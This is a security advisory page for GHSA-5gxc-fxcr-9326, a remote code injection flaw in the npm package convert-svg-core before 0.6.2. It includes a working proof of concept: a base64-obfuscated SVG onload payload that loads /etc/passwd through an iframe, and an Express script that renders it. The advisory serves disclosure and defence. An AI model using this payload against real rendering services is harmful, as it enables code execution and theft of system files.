GHSA-5gxc-fxcr-9326

    Dashboard / Vulnerabilities / GHSA-5gxc-fxcr-9326

    GHSA-5gxc-fxcr-9326

    Published: 23 Jul 2022Last Modified: 22 Apr 2024

    Summary: convert-svg-core vulnerable to remote code injection

    Details: The package convert-svg-core before 0.6.2 is vulnerable to Remote Code Injection via sending an SVG file containing the payload in an `onload` attribute. Puppeteer/Chromium (used by convert-svg-core) will execute any code within that tag, including malicious code. ### PoC **Payload** ```html <svg onload=eval(atob(this.id)) id='ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs='></svg> ``` where the `id` attribute is the base 64-encoded form of ```js document.write('<svg-dummy></svg-dummy><iframe src="file:///etc/passwd" width="100%" height="1000px"></iframe><svg viewBox="0 0 240 80" height="1000" width="1000" xmlns="http://www.w3.org/2000/svg"><text x="0" y="0" class="Rrrrr" id="demo">data</text></svg>'); ``` **Attack** ```js const { convert } = require('convert-svg-to-png'); const express = require('express'); const fileSvg = `[[[payload]]]`; // YWxlcnQoMSk= // function newContent(){document.open(),document.write('<text x=\"0\" y=\"0\" class=\"Rrrrr\" id=\"demo\">data</text>'),document.close()} const app = express(); app.get('/poc', async (req, res)=>{ try { const png = await convert(fileSvg); res.set('Content-Type', 'image/png'); res.send(png); } catch (e) { console.log(e); res.send(""); } }); app.listen(3000, ()=>{ console.log('started'); }); ```

    Affected packages

    Package

    Name: convert-svg-core

    Purl: pkg:npm/convert-svg-core

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -0.6.2

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-5gxc-fxcr-9326 | CVE-DB